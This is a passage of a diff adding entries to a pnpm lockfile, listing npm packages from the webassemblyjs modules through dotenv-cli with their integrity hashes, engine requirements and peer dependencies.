+ resolution: {integrity: sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==}
+
+ '@webassemblyjs/wasm-parser@1.14.1':
+ resolution: {integrity: sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==}
+
+ '@webassemblyjs/wast-printer@1.14.1':
+ resolution: {integrity: sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==}
+
+ '@xtuc/ieee754@1.2.0':
+ resolution: {integrity: sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==}
+
+ '@xtuc/long@4.2.2':
+ resolution: {integrity: sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==}
+
+ abbrev@3.0.1:
+ resolution: {integrity: sha512-AO2ac6pjRB3SJmGJo+v5/aK6Omggp6fsLrs6wN9bd35ulu4cCwaAU9+7ZhXjeqHVkaHThLuzH0nZr0YpCDhygg==}
+ engines: {node: ^18.17.0 || >=20.5.0}
+
+ abort-controller@3.0.0:
+ resolution: {integrity: sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==}
+ engines: {node: '>=6.5'}
+
+ acorn-import-attributes@1.9.5:
+ resolution: {integrity: sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==}
+ peerDependencies:
+ acorn: ^8
+
+ acorn-import-phases@1.0.4:
+ resolution: {integrity: sha512-wKmbr/DDiIXzEOiWrTTUcDm24kQ2vGfZQvM2fwg2vXqR5uW6aapr7ObPtj1th32b9u90/Pf4AItvdTh42fBmVQ==}
+ engines: {node: '>=10.13.0'}
+ peerDependencies:
+ acorn: ^8.14.0
+
+ acorn-jsx@5.3.2:
+ resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==}
+ peerDependencies:
+ acorn: ^6.0.0 || ^7.0.0 || ^8.0.0
+
+ acorn-walk@8.3.4:
+ resolution: {integrity: sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g==}
+ engines: {node: '>=0.4.0'}
+
+ acorn@8.15.0:
+ resolution: {integrity: sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==}
+ engines: {node: '>=0.4.0'}
+ hasBin: true
+
+ agent-base@7.1.4:
+ resolution: {integrity: sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==}
+ engines: {node: '>= 14'}
+
+ ajv-formats@2.1.1:
+ resolution: {integrity: sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==}
+ peerDependencies:
+ ajv: ^8.0.0
+ peerDependenciesMeta:
+ ajv:
+ optional: true
+
+ ajv-keywords@3.5.2:
+ resolution: {integrity: sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==}
+ peerDependencies:
+ ajv: ^6.9.1
+
+ ajv-keywords@5.1.0:
+ resolution: {integrity: sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==}
+ peerDependencies:
+ ajv: ^8.8.2
+
+ ajv@6.12.6:
+ resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==}
+
+ ajv@8.17.1:
+ resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==}
+
+ ajv@8.6.3:
+ resolution: {integrity: sha512-SMJOdDP6LqTkD0Uq8qLi+gMwSt0imXLSV080qFVwJCpH9U6Mb+SUGHAXM0KNbcBPguytWyvFxcHgMLe2D2XSpw==}
+
+ ansi-styles@4.3.0:
+ resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==}
+ engines: {node: '>=8'}
+
+ any-promise@1.3.0:
+ resolution: {integrity: sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==}
+
+ arg@4.1.0:
+ resolution: {integrity: sha512-ZWc51jO3qegGkVh8Hwpv636EkbesNV5ZNQPCtRa+0qytRYPEs9IYT9qITY9buezqUH5uqyzlWLcufrzU2rffdg==}
+
+ arg@4.1.3:
+ resolution: {integrity: sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==}
+
+ argparse@2.0.1:
+ resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==}
+
+ aria-hidden@1.2.6:
+ resolution: {integrity: sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==}
+ engines: {node: '>=10'}
+
+ aria-query@5.3.2:
+ resolution: {integrity: sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==}
+ engines: {node: '>= 0.4'}
+
+ array-buffer-byte-length@1.0.2:
+ resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==}
+ engines: {node: '>= 0.4'}
+
+ array-includes@3.1.9:
+ resolution: {integrity: sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==}
+ engines: {node: '>= 0.4'}
+
+ array.prototype.findlast@1.2.5:
+ resolution: {integrity: sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==}
+ engines: {node: '>= 0.4'}
+
+ array.prototype.findlastindex@1.2.6:
+ resolution: {integrity: sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==}
+ engines: {node: '>= 0.4'}
+
+ array.prototype.flat@1.3.3:
+ resolution: {integrity: sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==}
+ engines: {node: '>= 0.4'}
+
+ array.prototype.flatmap@1.3.3:
+ resolution: {integrity: sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==}
+ engines: {node: '>= 0.4'}
+
+ array.prototype.tosorted@1.1.4:
+ resolution: {integrity: sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==}
+ engines: {node: '>= 0.4'}
+
+ arraybuffer.prototype.slice@1.0.4:
+ resolution: {integrity: sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==}
+ engines: {node: '>= 0.4'}
+
+ ast-types-flow@0.0.8:
+ resolution: {integrity: sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==}
+
+ async-function@1.0.0:
+ resolution: {integrity: sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==}
+ engines: {node: '>= 0.4'}
+
+ async-listen@1.2.0:
+ resolution: {integrity: sha512-CcEtRh/oc9Jc4uWeUwdpG/+Mb2YUHKmdaTf0gUr7Wa+bfp4xx70HOb3RuSTJMvqKNB1TkdTfjLdrcz2X4rkkZA==}
+
+ async-listen@3.0.0:
+ resolution: {integrity: sha512-V+SsTpDqkrWTimiotsyl33ePSjA5/KrithwupuvJ6ztsqPvGv6ge4OredFhPffVXiLN/QUWvE0XcqJaYgt6fOg==}
+ engines: {node: '>= 14'}
+
+ async-listen@3.0.1:
+ resolution: {integrity: sha512-cWMaNwUJnf37C/S5TfCkk/15MwbPRwVYALA2jtjkbHjCmAPiDXyNJy2q3p1KAZzDLHAWyarUWSujUoHR4pEgrA==}
+ engines: {node: '>= 14'}
+
+ async-retry@1.3.3:
+ resolution: {integrity: sha512-wfr/jstw9xNi/0teMHrRW7dsz3Lt5ARhYNZ2ewpadnhaIp5mbALhOAP+EAdsC7t4Z6wqsDVv9+W6gm1Dk9mEyw==}
+
+ async-sema@3.1.1:
+ resolution: {integrity: sha512-tLRNUXati5MFePdAk8dw7Qt7DpxPB60ofAgn8WRhW6a2rcimZnYBP9oxHiv0OHy+Wz7kPMG+t4LGdt31+4EmGg==}
+
+ asynckit@0.4.0:
+ resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==}
+
+ available-typed-arrays@1.0.7:
+ resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==}
+ engines: {node: '>= 0.4'}
+
+ aws-ssl-profiles@1.1.2:
+ resolution: {integrity: sha512-NZKeq9AfyQvEeNlN0zSYAaWrmBffJh3IELMZfRpJVWgrpEbtEpnjvzqBPf+mxoI287JohRDoa+/nsfqqiZmF6g==}
+ engines: {node: '>= 6.0.0'}
+
+ axe-core@4.11.0:
+ resolution: {integrity: sha512-ilYanEU8vxxBexpJd8cWM4ElSQq4QctCLKih0TSfjIfCQTeyH/6zVrmIJfLPrKTKJRbiG+cfnZbQIjAlJmF1jQ==}
+ engines: {node: '>=4'}
+
+ axobject-query@4.1.0:
+ resolution: {integrity: sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==}
+ engines: {node: '>= 0.4'}
+
+ balanced-match@1.0.2:
+ resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==}
+
+ base64-js@1.5.1:
+ resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==}
+
+ baseline-browser-mapping@2.9.11:
+ resolution: {integrity: sha512-Sg0xJUNDU1sJNGdfGWhVHX0kkZ+HWcvmVymJbj6NSgZZmW/8S9Y2HQ5euytnIgakgxN6papOAWiwDo1ctFDcoQ==}
+ hasBin: true
+
+ bcrypt@6.0.0:
+ resolution: {integrity: sha512-cU8v/EGSrnH+HnxV2z0J7/blxH8gq7Xh2JFT6Aroax7UohdmiJJlxApMxtKfuI7z68NvvVcmR78k2LbT6efhRg==}
+ engines: {node: '>= 18'}
+
+ big.js@5.2.2:
+ resolution: {integrity: sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==}
+
+ bignumber.js@9.3.1:
+ resolution: {integrity: sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==}
+
+ bindings@1.5.0:
+ resolution: {integrity: sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==}
+
+ bl@6.1.6:
+ resolution: {integrity: sha512-jLsPgN/YSvPUg9UX0Kd73CXpm2Psg9FxMeCSXnk3WBO3CMT10JMwijubhGfHCnFu6TPn1ei3b975dxv7K2pWVg==}
+
+ brace-expansion@1.1.12:
+ resolution: {integrity: sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==}
+
+ brace-expansion@2.0.2:
+ resolution: {integrity: sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==}
+
+ braces@3.0.3:
+ resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==}
+ engines: {node: '>=8'}
+
+ browserslist@4.28.1:
+ resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==}
+ engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7}
+ hasBin: true
+
+ buffer-crc32@0.2.13:
+ resolution: {integrity: sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==}
+
+ buffer-equal-constant-time@1.0.1:
+ resolution: {integrity: sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==}
+
+ buffer-from@1.1.2:
+ resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==}
+
+ buffer@6.0.3:
+ resolution: {integrity: sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==}
+
+ bundle-name@4.1.0:
+ resolution: {integrity: sha512-tjwM5exMg6BGRI+kNmTntNsvdZS1X8BFYS6tnJ2hdH0kVxM6/eVZ2xy+FqStSWvYmtfFMDLIxurorHwDKfDz5Q==}
+ engines: {node: '>=18'}
+
+ bytes@3.1.0:
+ resolution: {integrity: sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==}
+ engines: {node: '>= 0.8'}
+
+ call-bind-apply-helpers@1.0.2:
+ resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==}
+ engines: {node: '>= 0.4'}
+
+ call-bind@1.0.8:
+ resolution: {integrity: sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==}
+ engines: {node: '>= 0.4'}
+
+ call-bound@1.0.4:
+ resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==}
+ engines: {node: '>= 0.4'}
+
+ callsites@3.1.0:
+ resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==}
+ engines: {node: '>=6'}
+
+ caniuse-lite@1.0.30001762:
+ resolution: {integrity: sha512-PxZwGNvH7Ak8WX5iXzoK1KPZttBXNPuaOvI2ZYU7NrlM+d9Ov+TUvlLOBNGzVXAntMSMMlJPd+jY6ovrVjSmUw==}
+
+ chalk@4.1.2:
+ resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==}
+ engines: {node: '>=10'}
+
+ chokidar@4.0.0:
+ resolution: {integrity: sha512-mxIojEAQcuEvT/lyXq+jf/3cO/KoA6z4CeNDGGevTybECPOMFCnQy3OPahluUkbqgPNGw5Bi78UC7Po6Lhy+NA==}
+ engines: {node: '>= 14.16.0'}
+
+ chownr@2.0.0:
+ resolution: {integrity: sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==}
+ engines: {node: '>=10'}
+
+ chownr@3.0.0:
+ resolution: {integrity: sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g==}
+ engines: {node: '>=18'}
+
+ chrome-trace-event@1.0.4:
+ resolution: {integrity: sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==}
+ engines: {node: '>=6.0'}
+
+ cjs-module-lexer@1.2.3:
+ resolution: {integrity: sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ==}
+
+ client-only@0.0.1:
+ resolution: {integrity: sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==}
+
+ code-block-writer@10.1.1:
+ resolution: {integrity: sha512-67ueh2IRGst/51p0n6FvPrnRjAGHY5F8xdjkgrYE7DDzpJe6qA07RYQ9VcoUeo5ATOjSOiWpSL3SWBRRbempMw==}
+
+ color-convert@2.0.1:
+ resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==}
+ engines: {node: '>=7.0.0'}
+
+ color-name@1.1.4:
+ resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==}
+
+ combined-stream@1.0.8:
+ resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==}
+ engines: {node: '>= 0.8'}
+
+ commander@11.1.0:
+ resolution: {integrity: sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ==}
+ engines: {node: '>=16'}
+
+ commander@2.20.3:
+ resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==}
+
+ concat-map@0.0.1:
+ resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==}
+
+ consola@3.4.2:
+ resolution: {integrity: sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==}
+ engines: {node: ^14.18.0 || >=16.10.0}
+
+ content-type@1.0.4:
+ resolution: {integrity: sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==}
+ engines: {node: '>= 0.6'}
+
+ convert-hrtime@3.0.0:
+ resolution: {integrity: sha512-7V+KqSvMiHp8yWDuwfww06XleMWVVB9b9tURBx+G7UTADuo5hYPuowKloz4OzOqbPezxgo+fdQ1522WzPG4OeA==}
+ engines: {node: '>=8'}
+
+ cookie-es@2.0.0:
+ resolution: {integrity: sha512-RAj4E421UYRgqokKUmotqAwuplYw15qtdXfY+hGzgCJ/MBjCVZcSoHK/kH9kocfjRjcDME7IiDWR/1WX1TM2Pg==}
+
+ create-require@1.1.1:
+ resolution: {integrity: sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==}
+
+ cross-spawn@7.0.6:
+ resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==}
+ engines: {node: '>= 8'}
+
+ cssesc@3.0.0:
+ resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==}
+ engines: {node: '>=4'}
+ hasBin: true
+
+ csstype@3.2.3:
+ resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==}
+
+ damerau-levenshtein@1.0.8:
+ resolution: {integrity: sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==}
+
+ data-view-buffer@1.0.2:
+ resolution: {integrity: sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==}
+ engines: {node: '>= 0.4'}
+
+ data-view-byte-length@1.0.2:
+ resolution: {integrity: sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==}
+ engines: {node: '>= 0.4'}
+
+ data-view-byte-offset@1.0.1:
+ resolution: {integrity: sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==}
+ engines: {node: '>= 0.4'}
+
+ date-fns@4.1.0:
+ resolution: {integrity: sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg==}
+
+ debug@3.2.7:
+ resolution: {integrity: sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==}
+ peerDependencies:
+ supports-color: '*'
+ peerDependenciesMeta:
+ supports-color:
+ optional: true
+
+ debug@4.3.4:
+ resolution: {integrity: sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==}
+ engines: {node: '>=6.0'}
+ peerDependencies:
+ supports-color: '*'
+ peerDependenciesMeta:
+ supports-color:
+ optional: true
+
+ debug@4.4.3:
+ resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==}
+ engines: {node: '>=6.0'}
+ peerDependencies:
+ supports-color: '*'
+ peerDependenciesMeta:
+ supports-color:
+ optional: true
+
+ deep-is@0.1.4:
+ resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==}
+
+ default-browser-id@5.0.1:
+ resolution: {integrity: sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q==}
+ engines: {node: '>=18'}
+
+ default-browser@5.4.0:
+ resolution: {integrity: sha512-XDuvSq38Hr1MdN47EDvYtx3U0MTqpCEn+F6ft8z2vYDzMrvQhVp0ui9oQdqW3MvK3vqUETglt1tVGgjLuJ5izg==}
+ engines: {node: '>=18'}
+
+ define-data-property@1.1.4:
+ resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==}
+ engines: {node: '>= 0.4'}
+
+ define-lazy-prop@3.0.0:
+ resolution: {integrity: sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==}
+ engines: {node: '>=12'}
+
+ define-properties@1.2.1:
+ resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==}
+ engines: {node: '>= 0.4'}
+
+ delayed-stream@1.0.0:
+ resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==}
+ engines: {node: '>=0.4.0'}
+
+ denque@2.1.0:
+ resolution: {integrity: sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==}
+ engines: {node: '>=0.10'}
+
+ depd@1.1.2:
+ resolution: {integrity: sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==}
+ engines: {node: '>= 0.6'}
+
+ detect-libc@2.1.2:
+ resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==}
+ engines: {node: '>=8'}
+
+ detect-node-es@1.1.0:
+ resolution: {integrity: sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==}
+
+ diff@4.0.2:
+ resolution: {integrity: sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==}
+ engines: {node: '>=0.3.1'}
+
+ discord-api-types@0.38.37:
+ resolution: {integrity: sha512-Cv47jzY1jkGkh5sv0bfHYqGgKOWO1peOrGMkDFM4UmaGMOTgOW8QSexhvixa9sVOiz8MnVOBryWYyw/CEVhj7w==}
+
+ discord-interactions@4.4.0:
+ resolution: {integrity: sha512-jjJx8iwAeJcj8oEauV43fue9lNqkf38fy60aSs2+G8D1nJmDxUIrk08o3h0F3wgwuBWWJUZO+X/VgfXsxpCiJA==}
+ engines: {node: '>=18.4.0'}
+
+ doctrine@2.1.0:
+ resolution: {integrity: sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==}
+ engines: {node: '>=0.10.0'}
+
+ dotenv-cli@10.0.0:
